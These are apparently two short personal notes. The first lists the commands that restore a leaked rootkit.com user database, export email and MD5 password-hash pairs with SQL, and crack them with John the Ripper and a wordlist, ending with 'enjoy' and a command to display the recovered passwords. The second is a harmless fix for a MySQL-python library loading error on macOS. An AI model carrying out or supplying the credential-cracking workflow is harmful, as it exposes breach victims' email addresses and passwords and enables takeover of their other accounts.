rootkit.com user database processing

## Build the current version of JTR

$wget http://www.openwall.com/john/g/john-1.7.6-jumbo-12.tar.gz
$tar -zxvf john-1.7.6-jumbo-12.tar.gz
$cd john-1.7.6-jumbo-12/src
$make clean linux-x86-64
$cd ../run/
$./john --test

## restore mysql database

$mysql -p
>create database test;
>use test;
>source /tmp/xxx_backup

## dump user/password into txt file
>SELECT email,password INTO OUTFILE '/tmp/xxx.txt' FIELDS TERMINATED BY ':' LINES TERMINATED BY '\n' FROM usertable where length(password)=32;

## feed it into JTR
$./john --wordlist=passwords.txt --format=raw-MD5 /tmp/xxx.txt

## enjoy

$./john --show /tmp/xxx.txt --format=raw-MD5

mysql for python on Mac

Assuming that you where able to install Mysql and Python Mysql package (mysql-python-1.2.3)
The following error appears when trying to  import MySQLdb:

dlopen(.../.python-eggs/MySQL_python-1.2.3-py2.6-macosx-10.6-universal.egg-tmp/_mysql.so, 2): Library not loaded: libmysqlclient.16.dylib

  Referenced from: .../.python-eggs/MySQL_python-1.2.3-py2.6-macosx-10.6-universal.egg-tmp/_mysql.so

  Reason: image not found

This happens because mysql client libraries are installed in standard unix locations, which are not standard for Mac...

Adding this environment variable fixes this quirk:
DYLD_LIBRARY_PATH=/usr/local/mysql/lib/

Another possible solution which could work, was updating the Rpath in _mysql.so, but egg-tmp location is rebuilt during process restart, so it's not really an option.

This wouldn't work:
sudo install_name_tool -change libmysqlclient.16.dylib /usr/local/mysql/lib/libmysqlclient.16.dylib ~/.python-eggs/MySQL_python-1.2.3-py2.6-macosx-10.6-universal.egg-tmp/_mysql.so